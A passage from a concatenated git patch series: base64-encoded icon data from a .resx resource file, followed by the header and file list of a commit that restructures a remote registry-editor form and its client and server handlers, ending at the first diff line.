aP9mWVP/UkQ+/0g3MP8+LCX/Lh0V/ycWD/8rGxP/Lh4Y/zEhGv80JB3/OCgh/zkpIv86KiP/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf85KSL/Lh4X/zwsJbFWRj9H////Af///wH///8B////Af// + /wH///8BVUU+pT4uJ+sxIRr/OSki/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/zsrJP81JR7/LBsU/yQT + DP8lEwv/NCMb/1NDPf+Bcmz/nZOP/8K9uv/u5uT///38///////6+fj/8fDw/+zr6v/k4d//9PPz//// + /////v7/7uXi/+HZ1f/p4+D/597b/+ro5v/j29f/0cnE/7uyrv+qnpn/gHNs/1ZHQf8+LSb/KxsU/ygX + EP8rGxP/NCQd/zoqJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OSki/ysbFP9HNzDVcmJbgf// + /wH///8B////Af///wH///8B////AVBAOa0/LyjvMyMc/zgoIf84KCH/OSki/zkpIv86KiP/PCwl/zQk + Hv8lFAz/IxEJ/zclHf9rXFX/opiU/9zW0////////v////Du7f/d2Nb/xL+9/6edmf+LfHf/cGNd/1lL + RP9ENTL/LxoT/7yyrv////////7+/5+UkP8kEAj/RzUu/0o5M/9SQz7/Y1ZR/39zbf+ilpD/t6yn/8W8 + t//c0Mv/yr+8/6WZk/9sXVf/RTUv/ysbFP8lEwz/MyMc/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8sHBX/Rzcw3W5eV43///8B////Af///wH///8B////Af///wFTQzynPy8o6zEhGv84KCH/OCgh/zkp + Iv86KSL/Oysk/ygXEP8fDAT/RDIr/5OJhf/Z1NH///////z7+//Z1NL/r6ai/3ttZ/9LOzT/OSYe/yYV + DP8fDAX/IA4G/yIQCP8lEgr/EwIA/yQTDf/W0M3////////////EvLn/GwgA/x4PCP8nFxD/IhEJ/yIQ + Cf8hDwf/Hw0F/yAOB/83JR//Tz84/21fWP+cjoj/ua+q/8W8uP+Zjoj/WElC/ykZEv8jEQn/OCgh/zoq + I/84KCH/OSki/zkpIv86KiP/LBwV/0c3MNluXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zgoIf84KCH/Nycg/x4LBf82JBv/l42I/+rn5v//////5+Ti/6Sbl/9dTkj/NCMc/yQR + Cf8gDQb/IBAI/ycXEP8zIxz/OSki/zoqI/86KyT/PS0m/yQTCv9ZSED/7Ono////////////5OHg/0Ex + Kv8mFg//PS0m/zssJf87KyT/Oiok/zkqI/85KSL/MCAZ/yMTDP8fDQX/IxIL/zopIv9ZSkT/kYV+/761 + sf+pnpr/VUdA/x4OBv8xIRr/Oysk/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/Nicg/xwKAv9VQjv/1M3J///////q5eT/k4iC/0Av + KP8iEQn/IQ8H/ygYEf80JB3/OCgh/zsrJP87KyT/Oioj/zoqI/86KiP/Oysk/z0sJf8fDQX/hnhy//v5 + +P////////////Lv7/9qWlP/IRAI/z0tJv86KiP/OSki/zkpIv85KSL/OSki/zoqI/87KyT/Oioj/zcn + IP8sHBT/IhEJ/ycVDv9BMSr/hnp0/8zCvf+KenP/IxMM/y0eF/86KiP/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// + //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX + EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c + Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb + FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + \ No newline at end of file From df06fd2b84223b2d6ad0efcc8f0d5966fcfaa951 Mon Sep 17 00:00:00 2001 From: LjungErik Date: Fri, 22 Apr 2016 08:43:16 +0200 Subject: [PATCH 029/229] Code improvements and restructuring of 'FrmRegistryEditor' * Restructured the code for FrmRegistryEditor * Made parts of code more compact and readable * Improved naming of functions * Improved code for handling ContextMenu and ToolStrip * Changed client to return RegValueData-array instead of null --- Client/Core/Commands/RegistryHandler.cs | 2 +- Client/Core/Registry/RegistrySeeker.cs | 2 +- Server/Controls/RegistryValueLstItem.cs | 2 +- Server/Core/Commands/RegistryHandler.cs | 16 +- Server/Forms/FrmRegistryEditor.Designer.cs | 140 +++--- Server/Forms/FrmRegistryEditor.cs | 549 ++++++++------------- Server/Forms/FrmRegistryEditor.resx | 4 +- 7 files changed, 289 insertions(+), 426 deletions(-) diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs index 00442f566..2fcdb29e1 100644 --- a/Client/Core/Commands/RegistryHandler.cs +++ 